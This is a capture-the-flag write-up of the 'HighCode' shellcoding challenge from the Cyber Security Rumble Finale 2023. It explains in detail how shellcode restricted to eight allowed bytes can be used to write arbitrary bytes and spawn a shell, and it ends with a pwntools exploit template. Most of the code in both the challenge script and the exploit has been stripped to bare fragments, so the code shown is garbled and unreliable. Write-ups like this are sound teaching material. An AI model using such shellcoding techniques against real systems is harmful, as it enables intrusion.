HighCode - Cyber Security Rumble Finale 2023
Author: LevitatingLion
Category: shellcoding, pwn
Solves: 1
Points: 500+500
Prove that you are shellcoding royalty by only using these chosen high bytes!
Challenge
For this challenge we got a python script which would accept, check and finally execute our shellcode. The goal of this challenge was to write shellocode which satifies the given constraints and executes a shell.
#!/usr/bin/env python
=
assert == 256
# Read in code
=
=
# Break at end
break
+=
=
# Check bytes
assert < 0x10000
assert
# Execute code
# Align code to multiple of page size
+= b *
# Build ELF file in memory
= b
# ELF header
+= b
+= b
+= b
# Program header
+= b
+=
+= b
# Pad to whole page
=
# Shellcode
+=
# Put ELF into memfd
=
=
# Execute memfd
This was basically the whole challenge.
Setup
We also got a Dockerfile which would spawn us the correct environment.
The general flow of the program is as follows:
- We send our shellcode hex-encoded to the socket
- The script checks if all given bytes are "allowed" bytes
- If so the shellcode gets padded with
\xd0to a page - Then an
ELFgets constructed with our shellcode at the end - The
ELFgets loaded into memory and then executed
Our shellcode gets a X prepended to it, which corresponds to a pop rax
instruction.
At the start of the binary all registers are set to 0 and the first value on
the stack is the argument count, so 1 in our case, thus we get our rax set
to 1 for free.
Constraints
We can find the two constraints in the main function:
# Check bytes
assert < 0x10000
assert The first constraint just checks that the code is not longer than 0x10000 bytes.
This should be fairly easy to fulfill.
The second constraint checks whether all bytes in the shellcode are "true" or not.
The thruthiness of a byte gets defined in the allowed array:
=
assert == 256A byte is "true" if the byte has a 1 in the array.
We can see that this is true for bytes \xc8, \xd0, \xd1, \xd2, \xd3,
\xd5, \xd6 and \xd7.
Thus our shellcode is limited to these eight bytes.
Goal
The general plan to exploit the challenge is the following:
- Find a way to break out of the "allowed" bytes and write arbitrary bytes
- Be able to write four arbitrary bytes, which execute
xor eax, eax; syscall - Write normal shellcode
- Profit
Solution
Initial discovery
To start out we wanted to see which instruction we can actually perform with these bytes. So we wrote a small script which would iterate over all possible combinations of our eight bytes, for up to seven bytes long.
=
=
=
=
=
=
=
=
=
I chose iced as my assembler.
I had problems with capstone in the past
were it was sometimes not working correctly for me by either claiming
instructions don't exist or giving me wrong output.
pwntools would've been another option
but it writes the assembly into a file and assembles it with as, which is pretty
slow for what we want to do.
With this script we generated the following instructions:
d7: xlatb
d0c8: ror al,1
d0d0: rcl al,1
d0d1: rcl cl,1
d0d2: rcl dl,1
d0d3: rcl bl,1
d0d5: rcl ch,1
d0d6: rcl dh,1
d0d7: rcl bh,1
d1c8: ror eax,1
d1d0: rcl eax,1
d1d1: rcl ecx,1
d1d2: rcl edx,1
d1d3: rcl ebx,1
d1d5: rcl ebp,1
d1d6: rcl esi,1
d1d7: rcl edi,1
d2c8: ror al,cl
d2d0: rcl al,cl
d2d1: rcl cl,cl
d2d2: rcl dl,cl
d2d3: rcl bl,cl
d2d5: rcl ch,cl
d2d6: rcl dh,cl
d2d7: rcl bh,cl
d3c8: ror eax,cl
d3d0: rcl eax,cl
d3d1: rcl ecx,cl
d3d2: rcl edx,cl
d3d3: rcl ebx,cl
d3d5: rcl ebp,cl
d3d6: rcl esi,cl
d3d7: rcl edi,cl
c8c8c8c8: enter 0c8c8h,0c8h
c8c8c8d0: enter 0c8c8h,0d0h
c8c8c8d1: enter 0c8c8h,0d1h
c8c8c8d2: enter 0c8c8h,0d2h
c8c8c8d3: enter 0c8c8h,0d3h
...We only have enter, xlatb and a bunch of rotates to go with.
More crucially we don't have any memory writes, just register manipulation
(and an rbx relative read of one byte with xlatb).
To know what these instructions do we can visit the holy bible of x86 instructions (or coder64).
xlatb (Table Look-up Translation)
Locates a byte entry in a table in memory, using the contents of the AL register as a table index, then copies the contents of the table entry back into the AL register.
This means essentially AL := (RBX + ZeroExtend(AL));.
enter (Make Stack Frame for Procedure Parameters)
Creates a stack frame (comprising of space for dynamic storage and 1-32 frame pointer storage) for a procedure. The first operand (imm16) specifies the size of the dynamic storage in the stack frame (that is, the number of bytes of dynamically allocated on the stack for the procedure). The second operand (imm8) gives the lexical nesting level (0 to 31) of the procedure. The nesting level (imm8 mod 32) and the OperandSize attribute determine the size in bytes of the storage space for frame pointers.
This instruction is a bit more involved but it can be seen as an opposite of the
leave instruction.
What the instruction exactly does (at least in a 64-bit context) is the following:
AllocSize := imm16;
NestingLevel := imm8 MOD 32;
Push(RBP); /* RSP decrements by 8 */
FrameTemp := RSP;
IF NestingLevel = 0
THEN GOTO CONTINUE;
FI;
IF (NestingLevel > 1)
THEN FOR i := 1 to (NestingLevel - 1)
DO
RBP := RBP - 8;
Push([RBP]); /* Quadword push */
OD;
FI;
Push(FrameTemp); /* Quadword push and RSP decrements by 8 */
CONTINUE:
RBP := FrameTemp;
RSP := RSP − AllocSize;ror (Rotate right)
A rotate is a binary operation, with shifts a value by a given amount and any
bit which get shifted out, will be appended on the other side.
In this case if we consider the byte 0b01010101 and we rotate it to the right
by one, the last 1 would get shifted out and then appended to the top of the
byte again.
This gets us the value 0b10101010.
One important note for this challenge is that if the value which got rotated out
was non-zero, the carry flag will be set.
rcl (Rotate left with carry)
rcl works similarly to ror, just that it rotates in the other direction and
the bit rotated out gets stored in the carry flag, while the bit in the carry
flag gets appended to the value.
Let's consider the byte 0b10101010 and assume the carry flag is set to
0.
If we now rotate the byte to the left twice we get the following:
- byte:
0b10101010, CF:0 - byte:
0b01010100, CF:1 - byte:
0b10101001, CF:0
So after we executed the rcl twice on 0b10101010 with a 0 in the carry bit
we get 0b10101001 and the carry bit still being 0.
Arbitrary values in registers
So far the enter instruction doesn't do much for us and because we can't change
the values in our registers xlatb also has no use.
We can only really use the rotate instructions.
Because rax is set to 1 at the start, we can use the rax register and the
clever use of shifting to set all registers to arbitrary values.
All we have to do is to rotate the target register by one to the left and
whenever we want to have a 1 in the register we have to put a 1 into the carry
bit before the shift.
This can be achieved by "overrotating" the rax register.
= b
# We want a 1 so set the carry bit to 1
+=
+=
+=
return This function sets ebx to any value we want to.
ecx, edx, ebp and esi can be set the same way, only eax is a bit
different.
= b
= - 1
+=
+=
+=
return enter nullbytes
We can still not really do much memory wise though which is a slight problem.
The next epiphany we had, was that while our code gets padded to a page, the
ELF reserves memory for ten pages.
By default these bytes are not \xd0 but \x00.
This means we can also make use of exactly one instruction which ends in an
arbitrary amount of nullbytes and then we are forced to execute add [rax], al
until we crash (or don't crash wink wink).
We changed the instruction search script to pad all combinations of up to three of our
constraint bytes with nullbytes.
This gave us some more instructions
000000: add [rax],al
d00000: rol byte [rax],1
d10000: rol dword [rax],1
d20000: rol byte [rax],cl
d30000: rol dword [rax],cl
c800000000: enter 0,0
c8c8000000: enter 0c8h,0
c8d0000000: enter 0d0h,0
c8d1000000: enter 0d1h,0
c8d2000000: enter 0d2h,0
c8d3000000: enter 0d3h,0
c8d5000000: enter 0d5h,0
c8d6000000: enter 0d6h,0
c8d7000000: enter 0d7h,0
...Initially we were most excited about the rotate of memory bytes, but this was a mistake which costed us multiple hours of searching and trying.
Note: We also found out why it is very important to know how
gdbdoes breakpoints when debugging self modifying code, as we were rotating\xccaround a whole bunch, wich is the interrupt inserted bygdbfor breakpoints.
The correct instruction here is the enter 0, 0.
If we remember back to what this instruction does and consider the allocsize and
nestinglevel to be zero we get the following instruction:
Push(RBP);
FrameTemp := RSP;
RBP := FrameTemp;
RSP := RSP;Because we control rbp we can push an arbitrary value onto the stack.
But what do we do then, we only execute add [rax], al afterwards?
The (almost not really) crypto part (aka. math)
What does add [rax], al actually do?
We take the value in rax, use that as an address to a byte and repeatedly add
the lowest byte of the address to it.
With this we can essentially write a single arbitrary byte somewhere into the
instruction stream.
We only have to find an address A where, if we want to write byte B, we have
to fulfill
One arbitrary byte
Now we can do the instruction search once more and list the assembly of any byte
surrounded by any number of nullbytes.
This yields about 260 different instruction, out of which we only care for about
190, because these are memory operations.
When looking through all these, we can find the instruction \x8f\x00 which
is a pop qword [rax] instruction.
The pop is very convenient, because we can put any four byte value we want onto
the stack with the enter instruction as explained earlier.
But because rax already points to the pop instruction (because of the
add [rax], al constraint) we lose two of the four bytes we pushed onto the
stack.
Which is sad, four bytes would've gotten us a shell, but two is better than one.
Two arbitrary bytes
For the last time we get to execute our search script and look through the
endless variation of many different instructions :)
This time we are looking for two arbitrary bytes surrounded by any number of
nullbytes.
After waiting a bit we got 65765 instructions out of which 49250 were memory
instructions ... uff ...
Luckily we can constrain our search a bit.
We are looking for an instruction which uses registers we haven't used yet
and somehow writes four bytes into memory.
So we found \x89\x0b, which is mov qword ptr [rbx], ecx.
We haven't used either rbx or ecx and we can write four bytes of memory.
Actual shellcode
Now we can write \x31\xc0\x0f\x05 into the instruction stream, which is the
xor eax, eax; syscall that will help us getting a shell.
0 in eax is the read syscall.
A quick look into our favorite syscall table tells
us that rdi is the file descriptor to read from, rsi the pointer to the
buffer to read to and rdx the amount to read.
We haven't used rdi, rsi and rdx yet, so we are good to go.
Getting a shell
If we set rsi to the address after the mov instruction, we simply write
arbitrary bytes into the instruction stream.
To get a shell we can simply use pwntools to generate shellcode for us.
This gives us a shell and we can read out the flag.
Conclusion
This was a very tricky and interesting challenge which took us about 14 hours to solve. We were the only ones to solve this challenge, which was very rewarding.
We also had a short talk with the author of this challenge and found out, that our solution was much simpler than the intended one :D
Overall I'm very happy with this challenge. Thanks go out to LevitatingLion for this challenge and the RedRocket team for the CSR finale <3
Script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host high-code.rumble.host --port 4142 ./high_code.py
# Set up pwntools for the correct architecture
=
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
= or
=
'''Execute the target binary locally'''
return
return
'''Connect to the process on the remote host'''
=
return
'''Start the exploit against the target.'''
return
return
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
=
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
= 0
= 0
= 0
= 0
= b
= b
= b
= b
= b
= b
= b
= b
= b
= b
=
= b
+=
+=
+=
return
= b
+=
+=
+=
return
= b
+=
+=
+=
return
= b
+=
+=
+=
return
= b
+=
+=
+=
return
= b
= - 1
+=
+=
+=
return
# Build payload
= b
+= # xor eax, eax; syscall
+= # mov qword ptr [rbx], ecx
+= # start address of the actual shellcode
+= # address of where to put the xor; syscall
+= # address where we get \x8f after repeated adding
+= # count for the read syscall
= * 100
=
+= b
assert < 0x10000